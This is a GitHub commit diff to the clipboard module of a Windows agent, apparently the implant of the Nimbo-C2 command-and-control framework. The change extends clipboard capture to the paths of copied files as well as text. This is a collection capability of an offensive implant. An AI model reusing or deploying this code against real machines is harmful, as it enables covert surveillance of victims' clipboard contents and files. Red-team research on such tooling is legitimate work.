Skip to content

Commit

Permalink
improved clipboard
Browse files Browse the repository at this point in the history
  • Loading branch information
itaymigdal committed Oct 20, 2024
1 parent 1d9b7de commit ace0911
Showing 1 changed file with 28 additions and 12 deletions.
40 changes: 28 additions & 12 deletions Nimbo-C2/agent/windows/utils/clipboard.nim
Original file line number Diff line number Diff line change
Expand Up @@ -2,15 +2,31 @@ import std/[strutils]
import winim

proc get_clipboard*(): string =
# finally close
defer: discard CloseClipboard()
# try to read clipboard
if OpenClipboard(0):
let data = GetClipboardData(1)
if data != 0:
let text = cast[cstring](GlobalLock(data))
discard GlobalUnlock(data)
if text != NULL:
# replace bad chars
var sanitized_text = ($text).replace("\c", "")
return sanitized_text
defer: discard CloseClipboard()

if OpenClipboard(0):
# Check for CF_TEXT
let textData = GetClipboardData(CF_TEXT)
if textData != 0:
let text = cast[cstring](GlobalLock(textData))
defer: discard GlobalUnlock(textData)
if text != nil:
return ($text).replace("\c", "")

# Check for CF_HDROP
let hdropData = GetClipboardData(CF_HDROP)
if hdropData != 0:
let dropFiles = cast[HDROP](GlobalLock(hdropData))
defer: discard GlobalUnlock(hdropData)
if dropFiles != 0:
result = "Copied files:\n"
let fileCount = DragQueryFile(dropFiles, cast[UINT](0xFFFFFFFF), nil, 0)
var buffer: array[MAX_PATH, WCHAR]
for i in 0 ..< fileCount:
let pathLength = DragQueryFileW(dropFiles, i, cast[LPWSTR](addr buffer[0]), MAX_PATH.UINT32)
if pathLength > 0:
result.add($cast[WideCString](addr buffer[0]))
result.add("\n")
return result.strip()

return ""

0 comments on commit ace0911

Please sign in to comment.